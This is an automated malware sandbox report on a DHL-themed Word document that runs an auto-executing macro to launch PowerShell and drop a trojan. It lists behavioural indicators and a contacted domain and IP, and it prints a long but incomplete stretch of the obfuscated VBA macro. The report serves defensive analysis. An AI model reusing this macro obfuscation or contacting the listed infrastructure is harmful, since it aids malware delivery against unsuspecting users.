DHL Paket_806217_18_10_2017.doc
This report is generated from a file or URL submitted to this webservice on October 18th 2017 13:36:09 (UTC)
Guest System: Windows 7 32 bit, Home Premium, 6.1 (build 7601), Service Pack 1, Office 2010 v14.0.4
Report generated by
Falcon Sandbox v7.00 © Hybrid Analysis
Incident Response
Risk Assessment
- Stealer/Phishing
- Scans for artifacts that may help identify the target
- Persistence
- Writes data to a remote process
- Fingerprint
-
Reads the active computer name
Reads the cryptographic machine GUID
Reads the windows installation date
Scans for artifacts that may help identify the target - Spreading
- Opens the MountPointManager (often used to detect additional infection locations)
- Network Behavior
- Contacts 1 domain and 1 host. View all details
Indicators
Not all malicious and suspicious indicators are displayed. Get your own cloud service or the full version to view all details.
-
Malicious Indicators 9
-
External Systems
-
Detected Emerging Threats Alert
- details
- Detected alert "ET POLICY PE EXE or DLL Windows file download HTTP" (SID: 2018959, Rev: 3, Severity: 1) categorized as "Potential Corporate Privacy Violation"
- source
- Suricata Alerts
- relevance
- 10/10
-
Detected Emerging Threats Alert
-
General
-
The analysis extracted a file that was identified as malicious
- details
- 14/64 Antivirus vendors marked dropped file "65536.exe" as malicious (classified as "Trojan.Script" with 21% detection rate)
- source
- Binary File
- relevance
- 10/10
-
The analysis spawned a process that was identified as malicious
- details
- 14/64 Antivirus vendors marked spawned process "65536.exe" (PID: 2568) as malicious (classified as "Trojan.Script" with 21% detection rate)
- source
- Monitored Target
- relevance
- 10/10
-
The analysis extracted a file that was identified as malicious
-
Installation/Persistance
-
Writes data to a remote process
- details
-
"WINWORD.EXE" wrote 32 bytes to a remote process "%WINDIR%\System32\WindowsPowerShell\v1.0\powershell.exe" (Handle: 1320)
"WINWORD.EXE" wrote 52 bytes to a remote process "%WINDIR%\System32\WindowsPowerShell\v1.0\powershell.exe" (Handle: 1320)
"WINWORD.EXE" wrote 4 bytes to a remote process "%WINDIR%\System32\WindowsPowerShell\v1.0\powershell.exe" (Handle: 1320)
"65536.exe" wrote 32 bytes to a remote process "%WINDIR%\System32\wscript.exe" (Handle: 576)
"65536.exe" wrote 52 bytes to a remote process "%WINDIR%\System32\wscript.exe" (Handle: 576)
"65536.exe" wrote 4 bytes to a remote process "%WINDIR%\System32\wscript.exe" (Handle: 576) - source
- API Call
- relevance
- 6/10
-
Writes data to a remote process
-
Unusual Characteristics
-
Contains embedded VBA macros with keywords that indicate auto-execute behavior
- details
- Found keyword "Document_Open" which indicates: "Runs when the Word document is opened"
- source
- Static Parser
- relevance
- 10/10
-
Contains embedded string that indicates auto-execute behavior
- details
- Found keyword "Document_Open" which indicates: "Runs when the Word document is opened"
- source
- File/Memory
- relevance
- 10/10
-
Contains embedded VBA macros with keywords that indicate auto-execute behavior
-
Hiding 3 Malicious Indicators
- All indicators are available only in the private webservice or standalone version
-
Suspicious Indicators 13
-
Environment Awareness
-
Reads the cryptographic machine GUID
- details
-
"WINWORD.EXE" (Path: "HKLM\SOFTWARE\MICROSOFT\CRYPTOGRAPHY"; Key: "MACHINEGUID")
"powershell.exe" (Path: "HKLM\SOFTWARE\MICROSOFT\CRYPTOGRAPHY"; Key: "MACHINEGUID")
"wscript.exe" (Path: "HKLM\SOFTWARE\MICROSOFT\CRYPTOGRAPHY"; Key: "MACHINEGUID") - source
- Registry Access
- relevance
- 10/10
-
Reads the windows installation date
- details
- "powershell.exe" (Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS NT\CURRENTVERSION"; Key: "INSTALLDATE")
- source
- Registry Access
- relevance
- 10/10
-
Reads the cryptographic machine GUID
-
External Systems
-
Detected Emerging Threats Alert
- details
- Detected alert "ET INFO Executable Retrieved With Minimal HTTP Headers - Potential Second Stage Download" (SID: 2016538, Rev: 3, Severity: 2) categorized as "Potentially Bad Traffic"
- source
- Suricata Alerts
- relevance
- 10/10
-
Detected Emerging Threats Alert
-
General
-
Opened the service control manager
- details
-
"powershell.exe" called "OpenSCManager" requesting access rights "0X80000000L"
"powershell.exe" called "OpenSCManager" requesting access rights "SC_MANAGER_CONNECT" (0x1) - source
- API Call
- relevance
- 10/10
-
Requested access to a system service
- details
-
"powershell.exe" called "OpenService" to access the "RASMAN" service requesting "SERVICE_QUERY_STATUS" (0X4) access rights
"powershell.exe" called "OpenService" to access the "rasman" service
"powershell.exe" called "OpenService" to access the "RASMAN" service - source
- API Call
- relevance
- 10/10
-
Opened the service control manager
-
Installation/Persistance
-
Creates new processes
- details
-
"WINWORD.EXE" is creating a new process (Name: "%WINDIR%\System32\WindowsPowerShell\v1.0\powershell.exe", Handle: 1320)
"65536.exe" is creating a new process (Name: "%WINDIR%\System32\wscript.exe", Handle: 576) - source
- API Call
- relevance
- 8/10
-
Drops executable files
- details
- "65536.exe" has type "PE32 executable (console) Intel 80386 for MS Windows"
- source
- Binary File
- relevance
- 10/10
-
Opens the MountPointManager (often used to detect additional infection locations)
- details
-
"WINWORD.EXE" opened "\Device\MountPointManager"
"65536.exe" opened "\Device\MountPointManager" - source
- API Call
- relevance
- 5/10
-
Creates new processes
-
Spyware/Information Retrieval
-
Scans for artifacts that may help identify the target
- details
- "WINWORD.EXE" (Path: "HKLM\SOFTWARE\MICROSOFT\MESSENGERSERVICE")
- source
- Registry Access
- relevance
- 3/10
-
Scans for artifacts that may help identify the target
-
System Security
-
Modifies proxy settings
- details
-
"powershell.exe" (Access type: "DELETEVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\INTERNET SETTINGS\ZONEMAP"; Key: "PROXYBYPASS")
"powershell.exe" (Access type: "DELETEVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\INTERNET SETTINGS\ZONEMAP"; Key: "PROXYBYPASS")
"65536.exe" (Access type: "DELETEVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\INTERNET SETTINGS\ZONEMAP"; Key: "PROXYBYPASS")
"65536.exe" (Access type: "DELETEVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\INTERNET SETTINGS\ZONEMAP"; Key: "PROXYBYPASS") - source
- Registry Access
- relevance
- 10/10
-
Queries sensitive IE security settings
- details
-
"WINWORD.EXE" (Path: "HKCU\SOFTWARE\MICROSOFT\INTERNET EXPLORER\SECURITY"; Key: "DISABLESECURITYSETTINGSCHECK")
"powershell.exe" (Path: "HKCU\SOFTWARE\MICROSOFT\INTERNET EXPLORER\SECURITY"; Key: "DISABLESECURITYSETTINGSCHECK")
"65536.exe" (Path: "HKCU\SOFTWARE\MICROSOFT\INTERNET EXPLORER\SECURITY"; Key: "DISABLESECURITYSETTINGSCHECK") - source
- Registry Access
- relevance
- 8/10
-
Modifies proxy settings
-
Unusual Characteristics
-
Contains embedded VBA macros with suspicious keywords
- details
-
Found suspicious keyword "Chr" which indicates: "May attempt to obfuscate specific strings"
Found suspicious keyword "StrReverse" which indicates: "May attempt to obfuscate specific strings"
Found suspicious keyword "Shell" which indicates: "May run an executable file or a system command" - source
- Static Parser
- relevance
- 10/10
-
Contains embedded VBA macros with suspicious keywords
-
Hiding 1 Suspicious Indicators
- All indicators are available only in the private webservice or standalone version
-
Informative 21
-
Environment Awareness
-
Reads the registry for installed applications
- details
-
"WINWORD.EXE" (Path: "HKCU\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\UNINSTALL")
"WINWORD.EXE" (Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\UNINSTALL")
"WINWORD.EXE" (Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\UNINSTALL\ADDRESSBOOK")
"WINWORD.EXE" (Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\UNINSTALL\ADOBE FLASH PLAYER NPAPI")
"WINWORD.EXE" (Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\UNINSTALL\AUTOITV3")
"WINWORD.EXE" (Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\UNINSTALL\CONNECTION MANAGER")
"WINWORD.EXE" (Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\UNINSTALL\DIRECTDRAWEX")
"WINWORD.EXE" (Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\UNINSTALL\DXM_RUNTIME")
"WINWORD.EXE" (Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\UNINSTALL\FONTCORE")
"WINWORD.EXE" (Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\UNINSTALL\IE40")
"WINWORD.EXE" (Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\UNINSTALL\IE4DATA")
"WINWORD.EXE" (Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\UNINSTALL\IE5BAKEX")
"WINWORD.EXE" (Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\UNINSTALL\IEDATA")
"WINWORD.EXE" (Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\UNINSTALL\IEDATA0")
"WINWORD.EXE" (Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\UNINSTALL\IEDATA1")
"WINWORD.EXE" (Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\UNINSTALL\IEDATA10")
"WINWORD.EXE" (Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\UNINSTALL\IEDATA100")
"WINWORD.EXE" (Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\UNINSTALL\IEDATA101")
"WINWORD.EXE" (Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\UNINSTALL\IEDATA102")
"WINWORD.EXE" (Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\UNINSTALL\IEDATA103") - source
- Registry Access
- relevance
- 10/10
-
Reads the registry for installed applications
-
External Systems
-
Detected Emerging Threats Alert
- details
- Detected alert "ET INFO EXE IsDebuggerPresent (Used in Malware Anti-Debugging)" (SID: 2015744, Rev: 4, Severity: 3) categorized as "Misc activity"
- source
- Suricata Alerts
- relevance
- 10/10
-
Detected Emerging Threats Alert
-
General
-
Contacts domains
- details
- "regalosypremiosdirectos.com"
- source
- Network Traffic
- relevance
- 1/10
-
Contacts server
- details
- "37.59.196.217:80"
- source
- Network Traffic
- relevance
- 1/10
-
Contains embedded VBA macros
- details
-
File "ThisDocument.cls" (Streampath: "Macros/VBA/ThisDocument") has code: "Sub Document_Open()
If Len(FgMpahH8C) < 138 Then
' hoI6QbsP
Else
' fake
MsgBox "CpkynhN", 6, "y6WVhR"
End If
If Len(wABfl) < 138 Then
' HLbGIBDOl
Else
' fake
MsgBox "EOYlvzc", 6, "qkEZCOu5"
End If
If Len(eMyPJg) < 137 Then
' Fp7nx
Else
' fake
MsgBox "cuP94D", 38, "xkHPf6"
End If
If Len(CYJc5FhV) < 137 Then
' sEH7ay
Else
' fake
MsgBox "yl6nQeZt", 38, "aYRIMFiKE"
End If
If Len(svcSTGAe) < 137 Then
' wHZem
Else
' fake
MsgBox "AKhLEYBuH", 38, "Etu0qREgv"
End If
If Len(hIzoHnw) < 137 Then
' MxHI2aV1b
Else
' fake
MsgBox "tBJYy", 38, "TEAvURc"
End If
If Len(wpEiNg) < 158 Then
' eQuNDz
Else
' fake
MsgBox "Yluems", 14, "FiOle7x59"
End If
If Len(yU42Na) < 158 Then
' gYWT9Ow32
Else
' fake
MsgBox "n8qhUZDc", 14, "pAfmCWDB3"
End If
If Len(nWlCtZH) < 182 Then
' Vjq7rJK
Else
' fake
MsgBox "v7mjEd", 28, "G7SGnV2g"
End If
If Len(O5ifz) < 182 Then
' lEw0OvQ7
Else
' fake
MsgBox "Sb2NF", 28, "KrSo816"
End If
isZ4S = "Ca0FGckACL"
If Len(RFfWiY) < 244 Then
' KoXNxHbpK
Else
' fake
MsgBox "PAJYsuVCQ", 63, "jgnkr"
End If
If Len(SyMH32) < 244 Then
' pF08R
Else
' fake
MsgBox "hj2KiCLu", 63, "drl7CE"
End If
If Len(arAEjyVKz) < 244 Then
' Fmn7qFLK2
Else
' fake
MsgBox "PuzxEN", 63, "OZWHqIKs6"
End If
If Len(JGlb2V) < 174 Then
' chbjXR5
Else
' fake
MsgBox "g2JZA", 14, "OU16W"
End If
If Len(jPix5) < 174 Then
' QMpa7
Else
' fake
MsgBox "OvsrmPoK", 14, "TXv4sSJ"
End If
If Len(hOjKZmLH) < 174 Then
' QlVqG6xeh
Else
' fake
MsgBox "MsDIQCE0", 61, "ySlchI0ZW"
End If
If Len(oKgI2Ak) < 174 Then
' QEKMoxk
Else
' fake
MsgBox "iyiARz", 61, "Av2nRHz"
End If
If Len(wTAnRY7) < 174 Then
' Sorcxd
Else
' fake
MsgBox "LpjCn", 61, "E3NzxE"
End If
Dim y2ZnrYB
y2ZnrYB = isZ4S
Otm40s = "yczV2YvJ"
BLj6n = "HU"
If Len(UwO5a9gL) < 169 Then
' xvzSt
Else
' fake
MsgBox "zDHyQg3", 3, "ftYE1ha"
End If
If Len(hWlL7k2h) < 169 Then
' v5H1g
Else
' fake
MsgBox "w8p32", 3, "Qz3Fl1"
End If
If Len(Pgojh) < 131 Then
' Tkb72TwJ
Else
' fake
MsgBox "QKd0uxtTh", 50, "d0HPaM"
End If
If Len(rMtiG) < 131 Then
' gic7QpzZ4
Else
' fake
MsgBox "v4LkE", 50, "AuSqZh"
End If
If Len(AE1G8AWPK) < 131 Then
' fo1e6Mk9s
Else
' fake
MsgBox "hwBAc7D", 50, "MUthFeTEp"
End If
If Len(yyKuCR1) < 131 Then
' JFvbE
Else
' fake
MsgBox "iR2m5c", 50, "xIwimLMcb"
End If
Dim gaDW3
gaDW3 = Otm40s & BLj6n
DIU7QxpdH = "Cb"
P5gek3Usv = "sVG"
Rl71EnR = "azJXZ"
If Len(y2z0TqDN) < 240 Then
' BnqW819XG
Else
' fake
MsgBox "GZ153", 26, "MBa2wC"
End If
If Len(BpWV15) < 240 Then
' z5FDyesUa
Else
' fake
MsgBox "dOvpi3GP", 26, "t2NkiZ"
End If
If Len(eYKzj) < 165 Then
' P0f5B7
Else
' fake
MsgBox "u6Bvsl", 64, "lw2Y5"
End If
If Len(ALQYW) < 165 Then
' iBfGA
Else
' fake
MsgBox "r1Zfu4", 64, "wTG4CdkIg"
End If
If Len(A0qyjzvQL) < 165 Then
' CCFsK3
Else
' fake
MsgBox "LUcGi3JSa", 64, "vNG3xmM1U"
End If
If Len(kbvO5EN) < 137 Then
' yrHDvtTo
Else
' fake
MsgBox "zFa9I", 38, "cBLUsl"
End If
If Len(PKMZUIbH) < 137 Then
' VwJuv
Else
' fake
MsgBox "LsDjbV", 38, "Oh18Ibm"
End If
If Len(IyvAkFB) < 199 Then
' L3dt6Nfr
Else
' fake
MsgBox "lv2a4BUG", 55, "SaynoUk"
End If
If Len(iVAbrO) < 199 Then
' CCJjoXh
Else
' fake
MsgBox "GXLysM", 55, "xPEFYcZ"
End If
If Len(cUx8HSZNO) < 199 Then
' z8LwW
Else
' fake
MsgBox "sT8yZmR0C", 55, "p9YId0i"
End If
If Len(Y2NQUej) < 199 Then
' NJHsc
Else
' fake
MsgBox "pZr8u", 55, "QNCIGuo9r"
End If
Dim kFnRBdjcy
kFnRBdjcy = DIU7QxpdH & P5gek3Usv & Rl71EnR
w3TKsZitc = "wNX"
JvFsBcjW = "YnVHdy9"
If Len(Ou8LqgZ) < 245 Then
' keKsv9
Else
' fake
MsgBox "YkV1pzo7", 36, "rjrcMg"
End If
If Len(n0HqZCe7) < 245 Then
' Px2v6w7y
Else
' fake
MsgBox "xluYEfDBa", 36, "JFyvi"
End If
If Len(h8mHAlZ) < 245 Then
' ymLV1
Else
' fake
MsgBox "lKQrIzk", 36, "BCv9iSs"
End If
If Len(wPIB52bXi) < 136 Then
' iuedZJ
Else
' fake
MsgBox "PmHWBVG7J", 59, "jd8HUvIL"
End If
If Len(kJs6G0) < 136 Then
' ADvReu9Zf
Else
' fake
MsgBox "qoJXCA", 59, "maAdPb"
End If
If Len(ArvU6M) < 136 Then
' R0Di6QJe4
Else
' fake
MsgBox "FdLAvf2", 59, "bCbHtml4"
End If
If Len(zjWUDCxy) < 136 Then
' c0A7o
Else
' fake
MsgBox "r9avNAg5", 59, "mDAkNzg"
End If
If Len(YkV5GT) < 212 Then
' RvuCFWate
Else
' fake
MsgBox "Rtvi72", 24, "OfAzT"
End If
If Len(c8olK7WR) < 212 Then
' hLT9CAv
Else
' fake
MsgBox "zuWs2gp", 24, "jpWkxHnmq"
End If
If Len(sjRGTh) < 212 Then
' UAYIZ
Else
' fake
MsgBox "eERkP", 24, "d2wysLNV"
End If
If Len(izeyO) < 212 Then
' YhaZd03XS
Else
' fake
MsgBox "EGVA1D", 24, "Mjh2rD"
End If
Dim Tkvxni
Tkvxni = w3TKsZitc & JvFsBcjW
iSemNDs = "59SbvNmLv"
rMhVDoP6 = "R"
If Len(oq86icGM) < 190 Then
' g7DqRN3
Else
' fake
MsgBox "pOPc5WnrZ", 8, "MAmxipIZM"
End If
If Len(Pcm8x0JW) < 190 Then
' PIEqQBGw
Else
' fake
MsgBox "HZtnws", 8, "Xgx2bDykP"
End If
If Len(QApqIJU) < 150 Then
' ZFs9QCb
Else
' fake
MsgBox "mK7ovsQF2", 44, "LGFdrWpLm"
End If
If Len(SHKT4OBY) < 150 Then
' B09gtb
Else
' fake
MsgBox "atLH4Ye", 44, "fd8RJ"
End If
Dim v1V5tardK
v1V5tardK = iSemNDs & rMhVDoP6
qbDGpXfV = "o5SY5FG"
GIUMx = "bwl"
If Len(jyt96Cqj) < 223 Then
' R0abDIn5E
Else
' fake
MsgBox "kU1EBqFbK", 7, "f8CtA07"
End If
If Len(y319u) < 223 Then
' n2JYb
Else
' fake
MsgBox "tkG7SPHoj", 7, "aGCQ2o"
End If
If Len(G3yPVL) < 223 Then
' G4vD1MTH
Else
' fake
MsgBox "T5UyouHXk", 7, "EflZ4N"
End If
If Len(DUXQn) < 223 Then
' AWAlzLP
Else
' fake
MsgBox "V9tuzo", 7, "wewn4xZv"
End If
If Len(Y7e5MLj) < 134 Then
' rea05Nlt
Else
' fake
MsgBox "mUj34kbvs", 43, "Th8k4rfME"
End If
If Len(eYW5eo) < 134 Then
' xqBiHuUI
Else
' fake
MsgBox "Tuznt", 43, "imLYvc"
End If
If Len(xtK7m) < 134 Then
' rElmDV
Else
' fake
MsgBox "gblyWotHx", 43, "d1l5G"
End If
If Len(spvPX) < 238 Then
' UXqajm6yQ
Else
' fake
MsgBox "s81Oup", 59, "XpxG0gaQ"
End If
If Len(S4TUfNk) < 238 Then
' JAxkfjUnm
Else
' fake
MsgBox "G3SrK", 59, "XtKri"
End If
If Len(hhS4DBla) < 238 Then
' SdCMbO2Vk
Else
' fake
MsgBox "bHXTusb", 59, "o1ivuClz"
End If
If Len(wYPm7tJOR) < 238 Then
' iU2lVJPwx
Else
' fake
MsgBox "HAgiRQy", 59, "BVCHOaMEm"
End If
If Len(qXdmP) < 210 Then
' vYm7lAgz
Else
' fake
MsgBox "UaxWDZkhB", 35, "PlTyHGvg"
End If
If Len(jQLHxk) < 210 Then
' Oc29GqM
Else
' fake
MsgBox "lzj6O9D", 35, "itDG8nPw"
End If
Dim AieObmg
AieObmg = qbDGpXfV & GIUMx
UPHGX7kd = "3bsF2Zl"
TWi9Qcv = "J3L"
If Len(GW7ZCr0) < 167 Then
' qOGCTn
Else
' fake
MsgBox "ZVZxKi", 48, "EzxTFXrkp"
End If
If Len(ilJBt6pZ) < 167 Then
' ahYFTydub
Else
' fake
MsgBox "USgjIHQ", 48, "xM8pUfR3F"
End If
If Len(S9FK61I) < 167 Then
' y9M0oHWV
Else
' fake
MsgBox "cAoRQ", 48, "uWKgGq"
End If
If Len(sxT9NfYdb) < 246 Then
' ZTO4sGym
Else
' fake
MsgBox "FmlOwn", 57, "Yx8cfAei"
End If
If Len(H0x4FS) < 246 Then
' OlBFrvw
Else
' fake
MsgBox "ijmAPN", 57, "XhWpDB"
End If
If Len(vCn43S2) < 246 Then
' gqWdu
Else
' fake
MsgBox "eZfb0w", 57, "quqUli"
End If
If Len(l18V39gL) < 246 Then
' ZiuqD7TYm
Else
' fake
MsgBox "I4f8s6kdN", 57, "jBwY8X"
End If
If Len(hsECp) < 220 Then
' lcoEMQ
Else
' fake
MsgBox "USVIeCRLi", 55, "x0or1RI"
End If
If Len(oG4X1) < 220 Then
' MHT3sD
Else
' fake
MsgBox "mROBP0fTt", 55, "Sun98"
End If
If Len(ruPpB) < 220 Then
' TOWngif9v
Else
' fake
MsgBox "QsSExv9", 55, "t6Szkx"
End If
Dim q5Gl2Zdq3
q5Gl2Zdq3 = UPHGX7kd & TWi9Qcv
zoihxQWSn = "2Y9tzahVmc"
If Len(Tw9GXC) < 161 Then
' OBMm3Ha
Else
' fake
MsgBox "fDifU", 49, "fciMKpe7"
End If
If Len(RoV8paC) < 161 Then
' YKTzc
Else
' fake
MsgBox "n4Je0nps", 49, "DKH7klQd"
End If
If Len(z0H2t) < 207 Then
' oDVaRoIE3
Else
' fake
MsgBox "YBQfi", 28, "zRq6mYZk"
End If
If Len(bZKcz8YA) < 207 Then
' hcVrQXIU
Else
' fake
MsgBox "N9mkg", 28, "CN2c3BprC"
End If
If Len(ecJ1peNQ) < 207 Then
' tjBoGv
Else
' fake
MsgBox "yYclV", 28, "XriuQ"
End If
If Len(I6yfs) < 207 Then
' RmvZ4b3
Else
' fake
MsgBox "xNgvRa", 28, "IDeRLVk"
End If
If Len(Qk1EZe) < 227 Then
' vf5ymkd
Else
' fake
MsgBox "C8UhBuwv", 40, "BzDQX"
End If
If Len(SgtNu) < 227 Then
' S1LvwPmK8
Else
' fake
MsgBox "zQju18GUV", 40, "kew0R"
End If
If Len(cFBtYU) < 227 Then
' PlM6cBGK
Else
' fake
MsgBox "pCEv6sFhi", 40, "YsZ9VJOF"
End If
If Len(Oi8PW) < 227 Then
' ChgnQ
Else
' fake
MsgBox "kWsV2", 40, "ocRXKd8"
End If
Dim d9oZSihA
d9oZSihA = zoihxQWSn
OrZwRQG7z = "FI0NWZqJ2"
e9EztaBo = Chr(98)
If Len(FuKVk) < 191 Then
' d30AqVQx
Else
' fake
MsgBox "DGtx5l", 21, "bSE29gYBR"
End If
If Len(W5tbX) < 191 Then
' tmTH1h
Else
' fake
MsgBox "C5waFKA", 21, "fj2Py3984"
End If
If Len(ZofZtP) < 188 Then
' V3gjrIqO
Else
' fake
MsgBox "uQfRk", 18, "TMPfVBpWO"
End If
If Len(zmhiVCwQ) < 188 Then
' UhWvc
Else
' fake
MsgBox "dic2lyM", 18, "u8SkEf"
End If
If Len(ET4hw3oe) < 188 Then
' tDSXbmyV
Else
' fake
MsgBox "M9VoM", 18, "fVtZip"
End If
If Len(XfUuqz) < 188 Then
' Uf1rJe
Else
' fake
MsgBox "NM5yi9", 18, "jqdMsV"
End If
Dim gF5nDvXL
gF5nDvXL = OrZwRQG7z & e9EztaBo
FOMCa = "tQnc"
lOKfUeR = "hR3U7k"
If Len(qnDpKHWv) < 234 Then
' VvFli
Else
' fake
MsgBox "yNfdUI", 43, "An6Fh"
End If
If Len(Gx0wE2) < 234 Then
' dx5BJb3Qo
Else
' fake
MsgBox "hBxUm", 43, "hjweu1zD5"
End If
If Len(QFHpuiQ9) < 234 Then
' kUEC9J
Else
' fake
MsgBox "RpgANI", 43, "Yjacd"
End If
If Len(aJYbr) < 163 Then
' DWRgGaT3C
Else
' fake
MsgBox "Z9WQzr0s", 43, "NzU97"
End If
If Len(ZQijM) < 163 Then
' Xm5pExKU
Else
' fake
MsgBox "rrzcbUVY", 43, "GBkNE2ls"
End If
If Len(CI3zRZaJ) < 163 Then
' hkqLtJ
Else
' fake
MsgBox "XA5T2D9", 43, "W62SDI"
End If
Dim ZoJjl
ZoJjl = FOMCa & lOKfUeR
MSO9Kl = "DXnAyKgA"
xKErdwjRG = "Xb"
If Len(hakp1) < 200 Then
' vPGeaf
Else
' fake
MsgBox "Fy8VdMHjW", 47, "efEWXSjuv"
End If
If Len(Ad4gpI) < 200 Then
' LXclh8OIB
Else
' fake
MsgBox "dh23vC", 47, "FHc7pUE"
End If
If Len(Fza0ufU6o) < 200 Then
' kfev4Ah
Else
' fake
MsgBox "KUCqb", 47, "htmTv"
End If
If Len(J1QNycG) < 245 Then
' qrI5OTb2
Else
' fake
MsgBox "rMFe3", 43, "wXQ0A"
End If
If Len(pFiXa) < 245 Then
' wYVyH75Tx
Else
' fake
MsgBox "MDn7GSj", 43, "x4AjX0f"
End If
If Len(ekdjcSV8) < 245 Then
' IhVG3TJ
Else
' fake
MsgBox "Zc47gI", 43, "LKBahD"
End If
If Len(VvqEAx) < 214 Then
' xA7RJNHgj
Else
' fake
MsgBox "X9Lkp1", 27, "RsQTA6R"
End If
If Len(cRZhB20) < 214 Then
' QLywS3f
Else
' fake
MsgBox "xUWjR3MX6", 27, "XXGICAg"
End If
If Len(Z3qoQ1FJ) < 214 Then
' ZabqL
Else
' fake
MsgBox "KmuGaR", 27, "kVbiL"
End If
Dim Mr5XdTft
Mr5XdTft = MSO9Kl & xKErdwjRG
vkBIuexrZ = "mLnBXZ"
Gv0TA1g = "xV2d"
If Len(XmEfn9) < 212 Then
' nens51DC
Else
' fake
MsgBox "dYzECnKSA", 12, "J3efx2gup"
End If
If Len(hWGU0) < 212 Then
' IlOPrB6J
Else
' fake
MsgBox "DetUa3l1", 12, "FWdxNe6y"
End If
If Len(fSHIc) < 212 Then
' EIhPY8D
Else
' fake
MsgBox "F4DPBS", 12, "rCX5Icr"
End If
If Len(LdUR8Wn) < 164 Then
' wMd6zq
Else
' fake
MsgBox "QmFYZ", 50, "yb4R8f"
End If
If Len(cjMJXz) < 164 Then
' G8CpV
Else
' fake
MsgBox "fV1JeLk", 50, "kwQEIS"
End If
If Len(cQIL0) < 164 Then
' DHP6oZ
Else
' fake
MsgBox "cfUlLoz", 50, "ltV0vi"
End If
Dim jkGAejR
jkGAejR = vkBIuexrZ & Gv0TA1g
QJpbFLGqU = "oR3"
yajLtIUB = "bshXdi9"
If Len(bmCRN) < 226 Then
' C3EeNI8u4
Else
' fake
MsgBox "nziEq", 25, "Yq5Bmy"
End If
If Len(TyoJPj0) < 226 Then
' wD9qRTzL
Else
' fake
MsgBox "l6tvCk57q", 25, "VA2fg"
End If
If Len(u5rH4) < 226 Then
' wAV8hM
Else
' fake
MsgBox "GxpGL0Av", 25, "VqfoxQl"
End If
If Len(wUHRVgE4) < 250 Then
' GSrAjsN
Else
' fake
MsgBox "mDVWK", 30, "FzDQLGZHV"
End If
If Len(OcSAJ4y9P) < 250 Then
' xXNUeH
Else
' fake
MsgBox "DI1BN6uJ", 30, "NcoeOwV6"
End If
If Len(J4HIOLG6) < 250 Then
' JwpUrC
Else
' fake
MsgBox "aYeryDC", 30, "jimBwGDa"
End If
If Len(TBu5VD) < 232 Then
' EVoh8m
Else
' fake
MsgBox "qYIbiTnq1", 47, "G1OZPdxFC"
End If
If Len(OMe9YX5W) < 232 Then
' bOMafblL
Else
' fake
MsgBox "CLhYnGBCT", 47, "CrQzh"
End If
If Len(BNXk45) < 232 Then
' gLvn67
Else
' fake
MsgBox "BUugwf0", 47, "TVkR6aYr"
End If
If Len(QVEqKv7A) < 232 Then
' CYTbBsKh
Else
' fake
MsgBox "ZndYafl", 47, "zG72tuw"
End If
Dim Sduwor
Sduwor = QJpbFLGqU & yajLtIUB
Bd5aZ = "WZ3Rye5"
GSqLUlBA = "JHd"
If Len(wvYaMx) < 155 Then
' QI2aw
Else
' fake
MsgBox "q6LdJIs", 45, "KewY8m"
End If
If Len(TOPs27) < 155 Then
' hxvjlmS
Else
' fake
MsgBox "DGD8NeFf1", 45, "ITdag"
End If
If Len(UIrfVtN7) < 159 Then
' Qt4oz
Else
' fake
MsgBox "lghSnv", 0, "SB7Ilbyf"
End If
If Len(eP5dHFgj) < 159 Then
' ECqSV5M
Else
' fake
MsgBox "ZIb6AY", 0, "khwiWm"
End If
If Len(lYxsf6) < 159 Then
' fnDLEfTAp
Else
' fake
MsgBox "UojP3EM", 0, "WursBNzjA"
End If
If Len(aqsBan) < 206 Then
' dHdOST
Else
' fake
MsgBox "cquD6", 42, "YMIhru6gV"
End If
If Len(SmKtx1R) < 206 Then
' JB6eaD
Else
' fake
MsgBox "TZJkbc", 42, "x4qhuY8v"
End If
If Len(hS09Q41K7) < 206 Then
' QV0T451N
Else
' fake
MsgBox "sVBoMcXZ", 42, "Xy0u6z95g"
End If
If Len(Z57Rv9GT) < 206 Then
' p6HEbNM
Else
' fake
MsgBox "cgIhbXYtR", 42, "ojvKio"
End If
Dim yaF6xv
yaF6xv = Bd5aZ & GSqLUlBA
OPstF = "Hd"
si6AbL = "oxSZ4Vm"
QkK9dGFV = "L"
If Len(AhVogS) < 191 Then
' NSLvKQi
Else
' fake
MsgBox "TEx2mWAX", 18, "MHRUZeE"
End If
If Len(QCvJs) < 191 Then
' wSJmdHBNX
Else
' fake
MsgBox "ODZxcM", 18, "PLNJV3Qf"
End If
If Len(HcgsG4tX) < 180 Then
' hsjlxEZn1
Else
' fake
MsgBox "gcKC3yr", 51, "loVhP"
End If
If Len(Ku4Ti5s) < 180 Then
' RRMF5sL
Else
' fake
MsgBox "AJXGCb", 51, "AXrUnRI"
End If
If Len(uZDTJ) < 180 Then
' kcfWr
Else
' fake
MsgBox "lhYVM6Lvq", 51, "Hs1wg"
End If
